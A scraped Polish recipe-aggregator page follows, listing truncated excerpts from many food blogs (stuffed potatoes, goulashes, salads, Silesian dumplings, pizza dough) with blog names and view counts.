wydrążoną łódeczkę ziemniaka , lekko solimy , napełniamy farszem . Zapiekamy w piekarniku około 10 minut , po tym czasie posypujemy serem i jak tylko się roztopi – podajemy . Gotowe , najlepiej smakują z sosem jogurtowo – czosnkowym lub koperkowym . Smacznego   Post Faszerowane ziemniaki a’la gyros pojawił się poraz pierwszy w Ogrodnik w podróży

Ogrodnik w podróży
Pierś z kurczaka w sosie śmietanowo-musztardowym. 780

mieszamy śmietanę z musztardą. Doprawiamy kolorowym pieprzem. Tak przygotowaną śmietanę wlewamy na patelnie. Dodajemy przesmażone piersi i masło. Dusimy około 10 minut pod przykryciem. Na koniec odkrywamy pokrywkę żeby sos się troszkę zredukował. Smacznego

Magia jedzenia.
Bezglutenowe naleśniki kukurydziane z pomarańczą 204

kukurydzianej bezglutenowej z sokiem i sk órk ą  z pomarańczy. Naleśniki dzięki dodatku pomarańczy są bardzo aromatyczne...Jako dodatek do tego rodzaju naleśników możecie zastosować sos pomarańczowy, dżem z pomarańczy lub mój ulubiony dodatek, czyli karmelizowane pomarańcze 💗 Uwielbiam zapach pomarańczy, wi ę c często j ą  wykorzystuje w przygotowaniu deserów i ciast. Polecam 😊 Składniki: ciasto naleśnikowe

kulinarne odsłony pati
Pieczone Kasztany 246

ostatni. W smaku przypominają słodkie ziemniaki, Jednak bardziej mięsiste. Bardzo dobrze nadają się na zdrową przekąskę do filmu, ale z całą pewnością znajdą zastosowanie do past czy sosów. Czytaj więcej

Pasja tworzenia
Barszcz czerwony na zakwasie. Rozgrzewający, wegański 181

Barszcz czerwony Składniki: 6 buraków pół cebuli 4 ząbki czosnku sól pieprz kumin koperek kurkuma majeranek liść laurowy siemie lnianie ocet jabłkowy ziele angielskie oliwa z oliwek 100 ml sosu pomidorowego zakwas gryczano - ryżowy jogurt kokosowy Na rozgrzanej oliwie podsmażyłam cebulę i czosnek. Następnie dodałam wodę, obrane i pokrojone buraki, przyprawy, zioła i ocet jablkowy. Wszystkie składniki gotowałam pod przykryciem

nietadieta
Gnocchi szpinakowe w parmezanie z ziołowym kurczakiem 175

góry widelcem. Wrzucić do gotującej - osolonej wody i trzymać na ogniu, aż do wypłynięcia.  Ja podałam z tartym parmezanem, odrobiną kiełków z brokuła i ziołowym kurczakiem w sosie grzybowym.. Smacznego

Gaździnka warzy
Sałatka z cytrusów 237

wyciąć gorzką błonę z pomiędzy poszczególnych kawałków. Dobrze jest kroić nad miseczkę, bo przyda nam się sok z owoców, który łączymy z olejem, solą i pieprzem. Do owoców dodajemy sos, posiekany szczypiorek i pokrojone rzodkiewki. Podajemy jako dodatek do mięsa. Artykuł Sałatka z cytrusów pochodzi z serwisu Ugotowane Pozamiatane

Ugotowane pozamiatane
“W kuchni jak na wojnie” – recenzja 184

powstały przewodniki kulinarne z systemem ocen (takie jak Michelin czy Gault & Millau). Z książki można się też dowiedzieć skąd pochodzi słowo restauracja i kto stworzył klasyczną piątkę francuskich sosów. Bardzo polecam wszystkim kucharzom – gawędziarzom. W kuchni jak na wojnie Autorka: Maria Barbasiewicz Wydawnictwo: Dom Wydawniczy PWN Rok wydania: 2015 Ilość stron: 215 Artykuł “W kuchni jak na wojnie

Ugotowane pozamiatane
Nowości książkowe w mojej biblioteczce 215

restauracjio-baru Solec 44. Dla mnie oboje są mega utalentowani. Dlatego zamawiając książkę, wiedziałam, że trafi w me gusta. Na pierwszy ogień pójdzie boczek pieczony z miodem, kasztanami i sosem z jabłek lub comber jagnięcy z pietruszkową kruszonką i pieczoną pietruszką. Jestem przekonana, że dzięki tej książce można stać się mistrzem w przyrządzaniu różnego rodzaju mięs. Olia Hercules: Mamuszka

Moja pasja smaku
Czerwone curry z krewetkami (lub kurczakiem) i zieloną fasolką 186

posiekanym ząbkiem czosnku, mielonym imbirem, mieloną kolendrą i mieszanką przypraw curry (żółtej lub czerwonej). Tak naszykowanego kurczaka dodajemy do curry w tym samym momencie co krewetki i podgrzewamy w sosie aż osiągnie odpowiednią temperaturę, około 5-6 minut. SKŁADNIKI 300-400g mrożonych krewetek średniej wielkości 500g mrożonej, ciętej zielonej fasolki 350-400g kalarepy 1 większa marchew

Karo in the Kitchen
Kluski śląskie 152

fajna propozycja dla osób, które nie lubią wyrzucać jedzenia a mają problem z ciągłym nadmiarem ugotowanych ziemniaków. Kluski śląskie równie dobrze smakują same, jak i polane pysznym sosem. Polecam. Składniki:  1 kg ziemniaków 25 dag mąki ziemniaczanej 3 jajka sól Sposób przygotowania: Ziemniaki obieramy ze skórki i gotujemy do miękkości (można tez ugotować ziemniaki w mundurkach). Studzimy. Przeciskamy przez

Pobite gary Barbary
Lekka zapiekanka 617

makaron wymieszać z cebulą i pieczarkami, przełożyć do kokilek, zamiast kokilek można użyć naczynie żaroodporne. Śmietanę roztrzepać z jajkiem , przyprawi ć solą, tymiankiem, papryką, pieprzem świeżo mielonym. Zalewamy makaron sosem, posypujemy tartym , żółtym serem. Zapiekamy 20 minut w rozgrzanym piekarniku do 180 °C. Przed podaniem posypujemy świeżym tymiankiem lub natką pietruszki. Smacznego

kgwjanczewo
Kluseczki kładzione na rosole. 224

fakturę, ale jak tam kto woli. I to wszystko, podajemy posypane natką, tak jak  przy zwykłym makaronie. Takie kluseczki gotowane na wodzie, są fajnym dodatkiem do innych zup, sosów, a także jako dodatek do drugiego dania.  Prosta potrawa, nawet banalnie prosta, a daje tyle możliwości

Dieta moja pasja
Lekka modra kapusta duszona z jabłkami i gruszkami 200

odrobinę octy winnego, aby dokwasić ewentualnie kapustę do smaku.  Podawać jako dodatek do drugiego dania. Taka kapusta pasuje między innymi do pieczonych mięs lub mięs duszonych w ciemnym sosie

Codzienna kuchnia niecodzienna
Placki z quinoa kokosowo migdałowe 191

zimnej wodzie, pocierając między palcami. Wtedy po ugotowaniu będzie smaczna. Placki z quinoa Składniki: na 12 placków 75 g czarnej quinoa, ugotowanej 150 ml kokosowego mleka 1 łyżka sosu z cytryny 75 g migdałowej mąki 20 g mąki kokosowej 1 łyżeczka proszku do pieczenia 2 jajka 2 łyżeczki błonnika witalnego szczypta soli ¼ łyżeczki sody oczyszczonej ½ łyżeczki kardamonu 200 g jogurtu

codojedzenia
Tradycyjna sałatka jarzynowa 179

dużego słoika, kukurydza pół puszki, groszek mrożony 1 szklanka lub groszek konserwowy pół puszki, jabłko 1 szt, cebula pół szt, jajka 3 szt, sos: majonez 8 łyżek, jogurt naturalny 5 łyżek, musztarda 1 łyżka, sol i pieprz do smaku, Sposób przygotowania: Ziemniaki, marchew i pietruszkę myjemy, zalewamy wrzątkiem i gotujemy

kulinarne odsłony pati
Domowa granola żurawinowo – cynamonowa i śniadanko z turbodoładowaniem – aż 2 przepisy w 1 153

świąteczno – sylwestrowych szaleństwach czas najwyższy wrócić do jedzenia normalnych śniadań (a nie tyko pasztetu z sosem tatarskim <3). Przyznam, że stęskniłam za solidnymi omletami z masłem i orzechowym oraz takimi wynalazkami jak poniżej. Ostatnimi czasy (jak część z Was pewnie zauważyła) u mnie cynamon ląduje prawie w każdej słodkości – nie jest to takie totalnie bez sensu, gdyż zmniejsza

Kate's Kitchen
Gulasz drobiowy z pieczarkami. 624

zalewamy wodą troszeczkę ponad poziom mięsa i warzyw. Doprawiamy papryką wędzoną, papryką ostrą, natką pietruszki i czosnkiem. Mieszamy i dusimy około 15 minut pod przykryciem. Po tym czasie zagęszczamy sos zasmażką z mąki i masła. Dusimy jeszcze około 10 minut. Podajemy z kaszą jęczmienną. Smacznego

Moje-pitraszenie
Miodowo-cynamonowe ziemniaki z patelni 184

Jestem prawie pewna, że większość z Was nie jadła ziemniaków w takim wydaniu. I nie, nie mam na myśli dodatku groszku czy cebuli, ale miodowo-cynamonowego sosu, którym zalewamy ziemniaki na sam koniec smażenia. Okazuje się, że ziemniaki są niebywale uniwersalne i na słodką nutę też świetnie smakują. Ja byłam bardzo zaskoczona efektem końcowym. Mile zaskoczona;) 4 większe ziemniaki około

Smaki Na Talerzu
DOMOWE HOT DOGI 238

wkładamy do niej sałatę, parówkę, pomidora i ogórka. Posypujemy prażoną cebulką i na końcu dodajemy ketchup i/lub musztardę.  Polecam musztardę meksykańską Dagomy - to jak połączenie musztardy z ostrym sosem paprykowym i na pewno przypadnie do gustu osobom lubiącym ostre smaki. Do hot dogów pasuje idealnie

Kuchnia MagdaLeny
Makaron z truskawkami na ostro 244

Składniki (2 porcje): 400 g ugotowanego makaronu 300 g truskawek 1/3 papryki chili 1 szklanka śmietany do sosów kilka gałązek mięty 1/2 czerwonej cebuli 1-2 łyżki oliwy sól pieprz Sposób wykonania : Cebulę i miętę bardzo drobno poszatkować, poddusić na łyżce oliwy, dodać drobno posiekaną chili, sól, pieprz. Podlać śmietaną i dusić około 5 minut. Dodać ugotowany makaron, wymieszać

Menu Zdrowia
Zapiekany królik z rozmarynem i boczniakami 192

można zjeść lekką zupkę ,żeby odpokutować Składniki : 1 tuszka królika 0,5 kg boczniaków 400 ml śmietanki 30 % ( tak , dietetycznie to do końca nie jest , ale ta śmietana tworzy sos już bez zagęszczania mąką inie warzy się ..no a smak , nie da się go uzyskać chudą ) kawałek wędzonego boczku , najlepiej swojskiego – około 0,3 kg 2 cebule małe

Ogrodnik w podróży
Lekka sałatka 150

drugie śniadanie :D Składniki (4 porcje): opakowanie mixu sałat 125 g kulek mini-mozarelli 300 g pomidorków koktaljowych 2 pomarańcze opakowanie szynki Serrano ocet balsamiczny (jeśli nie lubimy polecam sos vinaigrette) grzanki / orzeszki pini Przygotowanie: Na talerze rozłożyć mix sałat, mozarelle, pokrojone na pół pomidorki, rozłożyć szynkę. Obrać pomarańcze i jej cząstki ułożyc na sałacie. Całość posypać grzankami/orzeszkami i polać

Malinowo w kuchni
Pasztet z wątróbek drobiowych z Porto / Port chicken liver pate 281

samej patelni dodaj olej, włóż wątróbkę i smaż z każdej strony przez około 4 minuty. Dodaj odłożoną wcześniej cebulę, wlej wino i gotuj aż płyn zgęstnieje do konsystencji sosu. Dopraw solą i pieprzem i zdejmij z ognia. Przełóż zawartość do pojemnika blendera, dodaj pozostałe 2 łyżki masła i zmiksuj do uzyskania gładkiego pasztetu. Dopraw do smaku jeżeli to konieczne. Przełóż

karmelowy
Zapiekanka makaronowa z łososiem 197

podsmażamy na maśle. Łososia kroimy w kostkę, ser ścieramy na tarce, koperek siekamy. Makaron, łososia i por przekładamy do miski. Mąkę mieszamy ze śmietaną, sokiem z cytryny i koperkiem. Sos śmietanowy mieszamy z makaronem i pozostałymi składnikami, przyprawiamy solą i pieprzem. Zapiekankę wykładamy do naczynia żaroodpornego i posypujemy serem żółtym. Zapiekamy około 20 minut w temp

e-PrzepisyKulinarne
Pita 232

nadmuchały", tworząc w środku kieszonkę. A czym je napełnicie - zależy wyłącznie od waszych zachcianek. Może być to pulled pork , drobiowe kotlety albo kawałki pieczonego kurczaka, do tego sałatka, ulubiony sos...  Zrobiłam się głodna... Idę do kuchni... popatrzeć:)  Składniki (na 8 sztuk): 400g mąki luksusowej (lub na pół typ 550 i 650) 1 szklanka ciepłej wody 20g drożdży

Obiad gotowy
Babka karmelowo-fistaszkowa 209

następnie wyjać i studzić na kratce. Do dekoracji karmel podgrzać z mlekiem ciągle mieszając, polać babkę. Orzeszki posiekać (lub umieścić w woreczku i rozdrobnić tłuczkiem do mięsa), posypać po sosie karmelowym. Smacznego

Obiad gotowy
Pischinger czyli wafle czekoladowe 215

wieku pewien wiedeński cukiernik - Oscar Pischinger. Bardzo często nazwy znanych deserów czy dań pochodzą od ich twórców. Od razu na myśl przychodzą chociażby słynne naleśniki Gundel Palacsinta, bułeczki graham, sos beszamel albo sałatka Caesar. Podobnie jak znany tort Sachera (Sachertorte), również wymyślony przez wiedeńskiego cukiernika, swoją nazwę wziął od jego nazwiska. Często nazwa potrawy powstaje na cześć osoby, dla której

Obiad gotowy
Lekka sałatka z makaronem i wędzoną rybą 293

wodą. Sałatę opłukać, porwać na mniejsze kawałki. Jajka ugotować na twardo (3 minuty), obrać ze skorupek, pokroić w ćwiartki. Rybę pokroić w kostkę. Dressing: składniki wymieszać, żeby powstał gęsty sos. Do salaterki wyłożyć wszystkie składniki sałatki, polać dressingiem. Smacznego

Obiad gotowy
Polędwiczka wieprzowa z groszkiem cukrowym, suszonymi pomidorami i czosnkiem niedźwiedzim 259

soczyste mięso, które świetnie nadaje się do grillowania, pieczenia, smażenia. Lubię, gdy mięso po upieczeniu jest soczyste, aromatyczne. Rolada z niej p yszna jest na ciepło (np. polana sosem, podawana z ziemniaczkami lub selerowym pure), a po wystygnięciu świetnie się nadaje na kanapki. Składniki: 1 polędwiczka wieprzowa (ok 350g) 8 liści czosnku niedźwiedziego 100g strąków groszku cukrowego 4 suszone pomidory

Obiad gotowy
Grillowanie z Sokołowem i magazynem Kukbuk 214

rzodkiewkowy, grillowane warzywa, ziemniaczki z boczkiem i serem, i mnóstwo pysznego soczystego mięsa! Tyle smaków, aromatów, kolorów! Nie mogło zabraknąć też deseru. Wymyślone przez Dominika grillowane banany z sosem z białej czekolady rozkosznie dopełniły całość. Ale, ale - do takiego biesiadowania aż się prosi dobre wino. I muszę powiedzieć, że było w czym wybierać. W dodatku sommelier z firmy Czerwona Oliwka

Obiad gotowy
Chili con carne 228

wołowiny pokrojonej w kostkę i podałam z bagietką, ale żeby było całkiem po meksykańsku, można podać je z nachos albo tortillą. Odrywa się wtedy kawałki placka, nabierając nimi sos. Myślę, że taki sposób jedzenia sprawi, że danie będzie smakowało jeszcze lepiej;) Składniki: 500g mięsa wołowego 1 duża cebula 1 puszka pomidorów krojonych (w sezonie 2-3 mięsiste pomidory obrane

Obiad gotowy
Pisto manchego z jajkiem 228

usmażone warzywa, które pozostały jędrne, ale już nie były surowe, do tego aromatyczne przyprawy. Podałam je z sadzonym jajkiem i wyjadałam z patelni, maczając kromką żytniej bagietki ostatnie krople sosu... Pyszne!  Składniki (na 2 porcje): 1 zielona papryka 1 czerwona papryka 1 cebula 2 ząbki czosnku  1 młoda cukinia 1 mały bakłażan 2 mięsiste pomidory papryka wędzona tymianek

Obiad gotowy
Kluski śląskie 302

sposób na "zutylizowanie" pozostałych po obiedzie ziemniaków. Przyznam jednak, że zdarza się mi specjalnie gotować ziemniaki, gdy mam ochotę na kluski:) Podaje je z gulaszem lub pieczonym mięsem, polane sosem. Pycha! Składniki: 1 kg ziemniaków ok 250g mąki ziemniaczanej sól Ziemniaki  obrać, ugotować w lekko osolonej wodzie, utłuc lub przecisnąć przez praskę, uklepać, przykryć i zostawić w garnku

Obiad gotowy
Pieczone żeberka 235

upieczeniu są miękkie, soczyste, przyjemnie pikantne i cała przyjemność polega na jedzeniu ich rękami:) Składniki: 1 kg żeberek wieprzowych 2 łyżki miodu 2 łyżki oleju rzepakowego 3 łyżki sosu sojowego 1 łyżka koncentratu pomidorowego  2 ząbki czosnku  100ml piwa  1 łyżka słodkiej wędzonej papryki szczypta chili   pieprz świeżo mielony  kilka gałązek świeżego tymianku Żeberka

Obiad gotowy
Sałatka w słoiku do pracy 234

żółty, feta, mozzarella, wędliny, pieczone mięso (np. kawałki kurczaka), tuńczyk albo inne ryby, ugotowane na twardo jajko, makaron, ryż, kuskus, kasza, prażone pestki... Do tego lekki dressing lub ulubiony sos. Możliwości jest całe mnóstwo. Mój słoik zawierał makaron risini, kawałki wędzonej makreli, marchewkę po koreańsku , suszone pomidory, awokado, rukolę i pestki dyni. W najbliższym czasie postaram się pokazać jeszcze kilka

Obiad gotowy
Garnek Żeliwny Staub, Informacje i Zasady jak Obchodzić i Gotować w Naczyniach Żeliwnych 203

było mowy o przypaleniu się warzyw, które były na samym spodzie. Dzięki temu mogłam garnek z upieczonymi warzywami postawić na gazie, wlać wino, zredukować i przyrządzić mega smaczny sos z pieczonych warzyw. KILKA WAŻNYCH ZASAD NA POCZĄTEK!  To jest istotna część tego postu. Jeśli już w Twojej kuchni pojawi się garnek żeliwny, a już wiesz nie kosztował mało, warto

Blondynka Gotuje
Placuszki z masłem orzechowym FIT 217

placuszki , ( dla tych co nie mają form , wykładają ciasto na rozgrzaną patelnie standardowo ) , smażymy po obu stronach , na złoty kolor , następnie po usmażeniu wykładamy na talerz i możemy polać sosem klonowym , ale to już według uznania. '                                  Smacznego

Mój Smak
Caprese 159

Caprese to rodzaj sałatki pochodzącej z regionu Kampania w południowych Włoszech. Przyrządza ją się z pokrojonych w plastry pomidorów oraz mozzarelli przełożonych na przemian, polanych sosem z oliwy z oliwek posypanych grubo zmielonym pieprzem i udekorowanych liśćmi bazylii." A to moja śniadaniowa sałatka caprese ;) Składniki na 1-2 porcje: 1 pomidor 1 kulka sera mozzarella- 125g świeża bazylia  oliwa

Życie zaczyna się w kuchni
Sałatka ze świeżym ananasem i winogronami 210

cienkie plasterki, winogrona kroimy na pół i wyjmujemy z ich pestki. W szklance mieszamy jogurt, majonez, curry, sok z cytryny i sól. Wszystkie owoce wkładamy do miski, dodajemy sos i mieszamy

Kulinarne przygody Gatity
Spaghetti z serem pleśniowym i szynką parmeńską 269

podsmażyć cebulkę na maśle. Dodać przeciśnięty czosnek. Śmietanę lekko podgrzać (nie zagotować). Po chwili dodać śmietanę. Szynkę pokroić na mniejsze paseczki i dodać do sosu. Dodać pokruszony ser pleśniowy i mozzarella. Wszystko wymiesza z makaronem. Krok po kroku: 1. Ugotować makaron 2. Podsmażyć cebulę z czosnkiem 3. Podgrzać śmietanę

KuchniaWeDwoje.pl
BEZY Z KARMELEM I CZEKOLADĄ 166

Nic tak nie poprawia humoru jak naprawdę dekadenckie słodkości. Niech... Artykuł BEZY Z KARMELEM I CZEKOLADĄ pochodzi z serwisu CookMagazine .

COOKMAGAZINE
Cztery sukienki na wesele. I o kwintesencji cytrynowości. Sernik 210

moje wszystkie sukienki razem wzięte kosztowały mniej niż jedna marynarka C., o! Cytryny... Bardzo je lubię. Nie wyobrażam sobie bez nich codzienności: wskakują do herbaty, nadają charakteru sałatkowym sosom, łagodzą słodycz ciast i deserów, będąc niejako na drugim planie. Tym razem postanowiłam więc upiec sernik, którego cytryny będą niekwestionowanym bohaterem. Masa serowa jest więc wyraźnie cytrynowa (ale nie kwaśna

Pożeraczka, czyli raz adobrze
PIECZONE ZIEMNIAKI Z ZIOŁAMI 195

dodatkiem do dań, ale ziemniaczki pieczone w piekarniku z ziołami to co innego 😉 Zakochałam się w nich od momentu, kiedy pierwszy raz je zrobiłam. Mogę je jeść same, z sosem koperkowym oraz jako dodatek do mięsa czy ryb. Są pyszne! Nigdy mi się nie nudzą - ostatnio dodaje je prawie do każdego dania 😊   Składniki: 5 średniej wielkości ziemniaków

Kuchnia MagdaLeny
Ziemniaczana rolada z pietruszkowym farszem 239

drugiego dania? Nie ma takiej możliwości! Dlatego też dzisiaj zajęliśmy się ziemniakami w formie dodatku, a zarazem głównego składnika dania. Wszystko zależy od kreatywności, można podać na zimno z sosem, na ciepło z surówką, albo jako dodatek do lekkiej potrawki czy gulaszu. Zapraszamy do wypróbowania pomysłu na roladę ziemniaczaną. CIASTO: 8 średniej wielkości ziemniaków 2 jaja 1,5 szklanki mąki

Kuchnia od dwojga
Grillowane steki z piersi indyka na słodko 221

miodu 6 łyżek oliwy 2 ząbki czosnku sól, pieprz Sposób przygotowania: Czosnek obrać, rozetrzeć z solą.Wymieszać z ketchupem, sokiem z cytryny, oliwą i miodem. Mięso rozbić i zalać sosem. Odstawić w chłodne miejsce na 2 godziny

Menu Zdrowia
Panierowane pieczarki 288

dajemy na patelnie kapeluszem do góry. Smażymy z każdej ze stron na z ł oty kolor. Usmażone pieczarki odkładamy na papierowy ręcznik, aby usunąć nadmiar tłuszczu. Podajemy z ulubionym sosem, u mnie czosnkowy. Smacznego

kulinarne odsłony pati
Błyskawiczne piątki - podsumowanie 13.01.2017r. 153

galaretką     Kasia  Risotto z soczewicą i kurczakiem     Justyna Francuskie ślimaczki z makiem     Magdalena  Ciasto z konfiturą z borówki   Agnieszka Wegański sos bolognese     Magdalena  Piwny piernik z marmoladą   Marzena  Chlebek bananowy z chia     Małgorzata  Spaghetti florentine z kurczakiem, grzybami i szpinakiem A już dzisiaj

Magiczne Życie Marty
Magdalena – rosyjska sałatka z buraczkami i wędzonymi śliwkami 282

według uznania mieszanka jogurtu naturalnego i majonezu (w oryginale sam majonez) Jogurt, majonez, czosnek, natkę pietruszki, sól i pieprz mieszamy. Wszystkie warzywa, owoce i ser przekładamy do miski, dodajemy sos i delikatnie mieszamy. Chłodzimy. Magdalena – rosyjska sałatka z buraczkami i wędzonymi śliwkami

Trzeci talerz
Smażony ryż z kimchi 159

pizzę. Poza tym jest zdrowa jak każda kiszonka. Szczególnie o tej porze roku. Robi się go bardzo prosto. Kapustę pekińską kroimy i wsypujemy do miski. Przygotowujemy pastę zrobioną z sosu sojowego zmieszanego ze sproszkowaną ostrą papryką. Jak ktoś chce to może część zastąpić słodką, ale jednak musi to być ostre. Nacieramy kapustę pastą i upychamy do słoików. Ja swoje otworzyłem

Kryzysowa Książka Kucharska
Surówka z rzymskiej sałaty 154

kroimy w piórka. Awokado obieramy i kroimy w półplasterki. Układamy warzywa na sa ł acie rzymskiej. Dodajemy pokrojone w polplastry ogórki konserwowe. Na wierzch układamy rzodkiewkę. Dressing: Wszystkie składniki sosu wkładamy do słoiczka i mieszamy. Następnie polewamy surówkę. Podajemy jako dodatek do obiadu

kulinarne odsłony pati
Indyczy gulasz z kurkami 123

maśle razem z grzybami. Po kilku minutach dodajemy mięso, smażymy razem, cały czas mieszając. Lekko solimy i oprószamy pieprzem. Następnie dodajemy śmietanę, lubczyk i dusimy do momentu aż sos zacznie gęstnieć (nie możemy doprowadzić do wrzenia). Całość do smaku doprawiamy solą i pieprzem. Podajemy z kaszą gryczaną. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size

R'n'G Kitchen
Warzywny gulasz z wędzonym tofu 187

obmyślam super danie przez tydzień, to słyszę, że dobre, a jak robię coś z niczego to się rozpływają. Nawet nie miałam pomysłu jak to nazwać, go najważniejszy jest tu sos, który nazwałam gulaszem, bo będzie smakował ze wszystkim: makaronem, ryżem, kaszą, ziemniakami, pieczywem i oczywiście prosto z gara bez dodatków. Składniki na 4 porcje: 2-3 papryki (kolor dowolny

greenscarf
Filet z indyka z bułeczkami naleśnikowymi 218

piekarnika i wlewamy ciasto naleśnikowe do wysokości 1/3 wgłębień. Pieczemy 20 minut w temperaturze 185 st. C. Mięso kroimy w plastry. Bułeczki i indyka podajemy z dowolnym, ulubionym sosem i dowolną surówką. Smacznego! Za pomysł i smakowite danie dziękujemy Karince i Łukaszowi

Maminek kulinarny
SZASZŁYKI DROBIOWE Z PAPRYKĄ 188

żeby mięso przeszło smakiem. Na długie patyczki szaszłykowe nabijamy na przemian mięso, papryki, cebulę. Układamy na blasze, pieczemy ok 15-20 minut, aż mięso się zrumieni. Podajemy z ulubionymi sosami

Z Majeczką w kuchni
Bezglutenowe placuszki gryczane z bananami i polewą truskawkową 216

rozgrzaną patelnie nakładać łyżką małe porcje ciasta, lekko spłaszczyć i krótko smażyć z obu stron, aż się zarumienią. Temperatura patelni nie powinna być zbyt duża. Podawać z ciepłym sosem truskawkowym

Passions hobbies life
Małże w sosie dyniowym 179

dyni mam spore, wykorzystałam ją, zachęcam i Was do zrobienia takiej wersji małży. Użyłam tutaj omułków jadalnych ale tutaj pełna dowolność, użyjcie jakie małże macie czy lubicie. Małże w sosie dyniowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Z mięskiem i szpinakiem 170

czosnkiem. Szpinak odda na patelnię sporo wody, pod koniec gotowania dodajemy do niej solidną łyżkę kwaśnej śmietany. W razie konieczności podlejcie zawartość patelni wodą, chcemy uzyskać tylko niewielką ilość sosu, który połączy całość z makaronem. Próbujemy i doprawiamy solą i pieprzem. Pamiętajcie, że kiełbasa jest już przyprawiona- dlatego z dosmaczaniem najlepiej poczekać do samego końca . Teraz wystarczy już tylko ugotować

Pichceniomania
Wielkanocna pieczeń z jajkami 195

mięsa mielonego wołowo-wieprzowego 2 jajka 3 łyżki bułki tartej 1 łyżka mąki 4 ząbki czosnku majeranek, sól, pieprz do smaku 5 jajek ugotowanych na twardo 1 łyżka oleju Sos chrzanowy Sposób przygotowania: Do mięsa wybić jajka, dodać bułkę tartą, mąkę i wyciśnięty przez praskę czosnek. Doprawić do smaku solą, pieprzem, majerankiem i dokładnie wyrobić

Menu Zdrowia
Wywary to podstawa - domowe wywary bez dodatku chemii ! 218

Warzywny drobiowy, mięsny i grzybowy podstawowe smaki wywarów. Przydadzą się do przygotowania zup sosów czy galaret. WARZYWNY Składniki: 3 cebule 4 marchewki 1/4 korzenia selera lub 3 łodygi selera 2-3 ząbki czosnku pęczek natki pietruszki liść laurowy 2-3 gałązki tymianku 10 ziaren pieprzu Sposób przygotowania: Obierz cebulę, marchew, seler. Warzywa umyj i pokrój w kostkę. Obierz czosnek

Menu Zdrowia
Meksykańskie koszyczki z tortilli 332

talerz, do każdego z nich włóż delikatnie łyżkę śmietany i każdą z nich posyp poszatkowaną natką pietruszki. Et voilà! Zachęcam do eksperymentowania z przepisem. Ciekawie byłoby dodać kukurydzy, jakiegoś sosu pomidorowego, może użyć przyprawy do taco. Jeśli masz jeszcze jakieś pomysły, podziel się proszę w komentarzach

manslogblog
Sałatka Mimoza 431

Bardzo łatwa i bardzo smaczna sałatka imprezowa z tuńczykiem i jajkami. Świetnie smakuje z chrupiącą, świeżą bagietką :) 5 jajek 2 puszki tuńczyka w kawałkach w sosie własnym 150 g startego sera żółtego mały słoiczek majonezu mała czerwona cebula sól, pieprz szczypiorek  Jajka ugotować na twardo, obrać i zetrzeć na tarce osobno białka i żółtka. Rybę odsączyć i rozdrobnić

Smakołyki Asi
Pieczone udźce kurczaka z warzywami 211

Składniki: 1 kg filetów udźca kurczaka 45 dag morzonej marchewki mini 45 dag mrożonych brokułów 1/2 czerwonej papryki Marynata: 1/4 szklanki sosu sojowego 3 łyżki miodu 2 łyżki imbiru (posiekanego w drobną kostkę)  4 ząbki czosnku (posiekane w drobną kostkę) 1 łyżeczka ostrej papryki 1 łyżeczka soli Sposób wykonania: Łączymy ze sobą wszystkie składniki marynaty. Mięso myjemy, osuszamy

Qchnia po prostu
Hot dog w cieście drożdżowym 270

sezamu i czarnuszki. Pozostawiamy na ok 10 minut do wyrośnięcia, a następnie pieczemy w piekarniku nagrzanym do 180st C przez ok 25 minut. Gotowe hot dogi podajemy z ulubionymi sosami

Kuchnia w czekoladzie
Sałatka z paluszkami surimi i czosnkiem 387

sylwestrową domówkę i zniknęła natychmiast ! Więc jeśli zapraszacie gości, zróbcie podwójną porcję 😋. Na blogu są też inne pyszne sałatki w sam raz na Karnawał: Sałatka z krewetkami i różowym sosem Sałatka ze świeżym ananasem i kurczakiem Świąteczna sałatka z kukurydzą i łososiem Sałatka z ciecierzycy z mozzarellą Sałatka ryżowa z mango i szynką Sałatka z mango i zielonym majonezem Sałatka

Kulinarne przygody Gatity
Kotlety mielone faszerowane pieczarkami 239

pokazałam Wam przepis na kotlety mielone wymieszane z podsmażoną cebulką oraz pieczarkami . Dzisiaj zachęcam do nieco innej wersji mielonych kotletów nadzianych farszem pieczarkowym. Poniższe kotlety idealnie smakują podane z sosem pieczarkowym oraz ziemniakami lub ugotowaną komosą ryżową. Szczerze polecam :) Składniki na 4 porcje(8 kotletów): 0,5 kg mięsa mielonego, np. z łopatki 1/3 szklanki przegotowanej wody 1 łyżka posiekanej

Ugotować
Domowa włoska pizza – przepis na ciasto 459

Jaką pizzę lubicie? Tę na bazie sosu pomidorowego czy może pizzę bianco? Z szynką parmeńską czy może z salami? Ile podniebień, tyle wariacji. Jednak niezależnie od tego co lubimy, jedno musi być idealne – ciasto! Wraz z piecem do wypieku domowej pizzy otrzymałam przepis, który odczarował nieudane wcześniej ciasta – chętnie się nim z Wami podzielę Po pierwsze musimy pamiętać

Kuchnia Bazylii
Nuggetsy rybne z dipem pomarańczowo-musztardowy 211

przyprawami, a następnie zarumienić na patelni 4. Opanierować rybę 5. Piec w piekarniku 6.Wymieszać mąkę z mlekiem i doprawić 7. Gdy sos się zagotuje dodać skórkę i sok z pomarańczy, musztardę i posiekaną natkę Pobierz wersję do druku: Pobierz Nuggetsy rybne z dipem pomarańczowo-musztardowy Artykuł Nuggetsy rybne

KuchniaWeDwoje.pl
Sałatka z tuńczyka i ananasa 271

Lekko słodka sałatka z makaronem, rybą i ananasem. Czas wykonania: 15 min Ilość porcji: 4-5 Składniki: puszka tuńczyka w sosie własnym ½ puszki kukurydzy ½ puszki ananasa 100 g makaronu kokardki 3 łyżki majonezu 100 g szparagi mrożonej 1 łyżeczka soli ½ łyżeczki pieprzu Przygotowanie: Szparagi i makaron ugotować zgodnie z opisem na opakowaniu. Tuńczyka

KuchniaWeDwoje.pl
Kurczak w carry z makaronem 227

chwilę podgrzać na patelni. Krok po kroku: 1. Ugotować makaron 2. Usmażyć kurczaka z przyprawami 3. Do kurczaka dodać makaron 4. Wymieszać wszystko z sosem Pobierz wersję do druku: Pobierz Kurczak w carry z makaronem Artykuł Kurczak w carry z makaronem pochodzi z serwisu KuchniaWeDwoje.pl

KuchniaWeDwoje.pl
Sałatka gyros warstwowa 241

kukurydza, majonez i na górę sałatę pekińską. Krok po kroku: 1. Pokroić mięso i obtoczyć w przyprawach 2. Podsmażyć mięso 3. Wymieszać składniki na sos 4. Pokroić warzywa Pobierz wersję do druku: Pobierz Sałatka gyros warstwowa Artykuł Sałatka gyros warstwowa pochodzi z serwisu KuchniaWeDwoje.pl

KuchniaWeDwoje.pl
Pstrąg z pieczonymi ziemniaczkami 218

